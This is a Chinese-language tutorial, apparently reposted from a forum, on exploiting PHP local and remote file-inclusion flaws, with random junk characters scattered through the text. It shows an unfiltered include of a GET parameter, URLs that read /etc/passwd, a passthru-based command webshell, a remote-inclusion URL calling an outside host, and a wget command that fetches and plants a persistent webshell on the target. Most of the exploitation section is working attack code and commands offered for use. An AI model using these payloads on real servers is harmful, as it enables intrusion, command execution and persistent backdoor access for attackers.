& X% i- n1 |, t' S5 P1 Y) D2 t; u涉及到的危险函数:include(),require()和include_once(),require_once() 0 p$ \: S! k8 q0 ^5 j m& u0 L% S' k, j8 P, k
Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。 7 A* k* s# |6 J0 G$ qRequire:跟include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。5 @ Z8 C. [' ?) }& s7 W+ D: ^. n) i
Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。# u: Q6 K( s5 ~1 B7 a5 D, u# Y0 x
Require_once:这个函数跟require的区别 跟上面我所讲的include和include_once是一样的。所以我就不重复了。) ~$ o: }. h! J" S* G
6 j# M" G: g9 w: E: M
php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。Php4存在远程&本地,php5仅存在本地包含。 8 j3 A) C+ `+ J1 n5 _4 a t6 U/ [5 d+ F9 L- _' G* T
二、为什么要包含文件?& S8 B& l1 u& h: `$ u
) F6 {- W" f% j* ~3 D
程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比 如 share.php,而后在其它文件进行包含调用。在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想 在 main.php里包含share.php,我将这样写include(“share.php”)就达到目的,然后就可以使用share.php中的 函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?' c1 Q; z- C5 l
X% s d9 d K( ]
有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.php的代码: # S0 Q+ @4 D) ~0 w; R" O1 `- F0 t$ N# k2 h, M7 P6 ]! [! h
if ($_GET) {8 t% N& P2 g3 Y: g/ v$ z# t
include $_GET;* c0 Z0 ]8 f0 I0 O; C% y( R
} else {/ @$ B) @7 T0 J U! C+ c3 I
include ”home.php”; * R6 H- `. e* i+ E) Q1 z4 p7 B- a} . R7 |9 P! ]* m: o9 j3 h / i' C" \4 Z4 B' U/ Z很正常的一段PHP代码,它是怎么运作的呢?$ A& p- K$ s [; ?3 m1 j
/ h7 N% X, [$ G z. T4 \& F4 o
上面这段代码的使用格式可能是这样的: : n! j4 P% Y5 v$ z: n b- r. s" ]; T2 mhttp://hi.baidu.com/m4r10/php/index.php?page=main.php或者 % ~' \3 z$ x. b R/ vhttp://hi.baidu.com/m4r10/php/index.php?page=downloads.php $ l5 d- ]" F. x! R # k6 r% [ w; l- w( C3 o" L7 i; T+ J) e$ M结合上面代码,简单说下怎么运作的:! a. K& Z0 O8 c8 [1 i
* B2 ~1 z' ]0 O# P( y1 O/ f
1.提交上面这个URL,在index.php中就取得这个page的值($_GET)。 / K# R% l1 k' S7 q# W2.判断$_GET是不是空,若不空(这里是main.php)就用include来包含这个文件。 % ?8 [8 y6 I, m5 B+ p/ ?3.若$_GET空的话就执行else,来 include ”home.php” 这个文件。 8 H& s7 ~1 F/ H9 A , ]1 o, d1 }+ l& j4 Y三、为什么会产生漏洞? ' \) K& m$ H8 [& X. @/ {6 f$ R( p" D' B; u! m
你也许要说,这样很好呀,可以按照URL来动态包含文件,多么方便呀,怎么产生漏洞的呢?问题的答案是:我们不乖巧,我们总喜欢和别人不一样,我们 不会按照他的链接来操作,我们可能想自己写想包含(调用)的文件,比如我们会随便的打入下面这个URL:http: //hi.baidu.com /m4r10/php/index.php?page=hello.php。然后我们的index.php程序就傻傻按照上面我们说得步骤去执行:取 page为hello.php,然后去include(hello.php),这时问题出现了,因为我们并没有hello.php这个文件,所以 它 include的时候就会报警告,类似下列信息:: J) l: D" o$ v/ }0 ~0 X# T @! \$ t2 A
* x5 [8 S) s: T; j! `* D7 p8 zWarning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3 9 h9 `3 N( }: W! p9 Z' ?Warning: include() [function.include]: Failed opening ’hello.php’ for inclusion (include_path=’.:’) in /vhost/wwwroot/php/index.php on line 37 t& {4 T v9 z# B I+ C
; H! T# v+ ~3 s# T" i; X- ]注意上面的那个Warning就是找不到我们指定的hello.php文件,也就是包含不到我们指定路径的文件;而后面的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。 9 A, g6 Z* Y M+ u+ g % z, G; }0 [8 i- e四、如何利用?, B8 J( B4 h/ O% @% ^5 j
6 M c( T& x3 ?9 d3 W+ Y4 ^
上面可以看到,问题出现了,那么我们怎么利用这样的漏洞呢,利用方法其实很多,但是实质上都是差不多的,我这里说三个比较常见的利用方法: " N0 \6 T; R7 C 2 X+ Z9 W3 O P( J+ i6 V1.包含读出目标机上其它文件 - x+ ]. h& t( \2 {4 x5 K$ L; T: f7 @; O
由前面我们可以看到,由于对取得的参数page没有过滤,于是我们可以任意指定目标主机上的其它敏感文件,例如在前面的警告中,我们可以看到暴露的绝对路径(vhost/wwwroot/php/),那么我们就可以多次探测来包含其它文件,比如指定URL为:http://hi.baidu.com /m4r10/php/index.php?page=./txt.txt可以读出当前路径下的txt.txt文件,也可以使用../../进行目录跳转 (在没过滤../的情况下);也可以直接指定绝对路径,读取敏感的系统文件,比如这个URL:http://hi.baidu.com/m4r10 /php/index.php?page=/etc/passwd,如果目标主机没有对权限限制的很严格,或者启动Apache的权限比较高,是可以读出 这个文件内容的。否则就会得到一个类似于:open_basedir restriction in effect.的Warning(这里是由于apache的open_basedir中限制了访问目录)。 & s2 L2 B7 a. q/ }* w# R B 0 Q; }+ K1 X8 N4 X9 `" k2.远程文件包含可运行的PHP木马) x) D0 ~2 D, i; R* c
3 y( h( [) i! y9 _8 b ]. y如果目标主机的”allow_url_fopen”是激活的(默认是激活的,没几个人会修改),我们就可以有更大的利用空间,我们可以指定其它 URL上的一个包含PHP代码的webshell来直接运行,比如,我先写一段运行命令的PHP代码,如下保存为cmd.txt(后缀不重要,只要内容为 PHP格式就可以了)。 / m' i7 R' u' e' n 9 I/ \, w) q% y* Fif (get_magic_quotes_gpc()){ 8 C% m# ^- F) E: \; L- }4 B $_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉转义字符(可去掉字符串中的反斜线字符) x7 @, |. M/ ]' @
ini_set(“max_execution_time”,0); //设定针对这个文件的执行时间,0为不限制. * o. `. ]4 H, u% z, v, a echo ”M4R10开始行”; //打印的返回的开始行提示信息1 G2 c* n/ Z8 I z) E
passthru($_REQUEST["cmd"]); //运行cmd指定的命令/ e, g2 L6 ]' h$ O: i- U
echo ”M4R10结束行”; //打印的返回的结束行提示信息 ! X5 e/ B% Y: Q# i?>, w; G1 d& S# d# |2 v/ U* \
. n! g' W# A% b0 S
以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行,把内容返回在M4R10开始行与M4R10结束行之间。把这个文件 保存到我们主机的服务器上(可以是不支持PHP的主机),只要能通过HTTP访问到就可以了,例如地址如下:http://www.xxx.cn/cmd.txt,然后我们就可以在那个漏洞主机上构造如下URL来利用了:+ P5 @, y5 B- B6 Y
$ k; H) |, \. E$ A" [" thttp://hi.baidu.com/m4r10/php /index.php?page=http://www.xxx.cn/cmd.txt?cmd=ls 8 e3 c% A: i/ Y7 H$ m* k6 o ' D/ U/ v6 k1 S* p其中cmd后面的就是你需要执行的命令,其它常 用的命令(以*UNIX为例)如下:. l" x. b1 `! L7 k3 a
2 ?& p: U. A+ |! n7 e: ~ V& g/ `
ll 列目录、文件(相当于Windows下dir) , g* K$ L. t. J6 v3 Q, y+ t# O" p4 D/ Opwd 查看当前绝对路径( c+ P1 r$ Q! W( ], M5 S
id whoami 查看当前用户 / I) y& |+ q+ J, zwget 下载指定URL的文件 : R. i0 D$ y$ l3 C; b 3 x0 A E& M- \) K- O3 Q8 M; ^' F等等其它的,你主机去BAIDU找吧,就不列举了。$ z$ `* r m- [7 E, M# E
1 a' ^& U6 W { K# E& L' O0 I1 Q
3.包含一个创建文件的PHP文件(常用)1 `% }! W7 _( v4 R2 U
7 k1 a4 D9 M! _5 h; ?) w. u也许有的人认为还是得到目标机上的一个真实的Webshell比较放心,万一哪天人家发现这儿个包含漏洞修补了,我们就不能再远程包含得到上面的那 个” 伪”Webshell了,不是么?可以理解这个心态,我们继续。得到一个真实的Webshell,我们也说两种常见的方法:- X4 t2 t! u$ \* P3 g/ i7 m
! E8 I6 h+ c3 f( H+ A
1)使用wget之类的命令来下载一个Webshell % I0 Z" }, a9 ?! I7 g2 X m ( @0 p3 ~" i' L8 \9 k. R" C 这个比较简单,也很常用,在上面我们得到的那个伪webshell中,我们可以执行命令,那么我们也可以调用系统中的一个很厉害的角色,wget, 这个命令的强大你可以google下,参数一大堆,绝对搞晕你,呵呵,我们不需要那么复杂,我们就使用一个 -O(–output- document=FILE,把文档写到FILE文件中) 就可以了,呵呵。 ! i* v! K+ u* O8 _; ^9 A $ m- W# o0 a6 @+ I$ q8 \; s- a/ Z前提是你在按照前面的步骤放一个包含PHP代码的Webshell在一个可以通过HTTP或者FTP等可以访问的地方,比 如:http://www.xxx.cn/m4r10.txt,这个文件里写的就是Webshell的内容。然后我们在前面得到的伪 Webshell中 执行如下的URL:5 C6 ~7 ~3 w2 g' i
* R( s: I B' N9 ` http://hi.baidu.com/m4r10/php/index.php?page=http://www.xxx.cn /cmd.txt?cmd=wget http://www.xxx.cn/m4r10.txt -O m4r10.php , T3 s/ U. E- S ) X* _, c2 `; X W* V" Y3 ~% Y$ `6 \# B7 I如果当前目录可写,就能得到 一个叫做m4r10.php的Webshell了,如果当前目录不可写,还需要想其它的办法。5 I2 w G; z; u+ @$ K$ p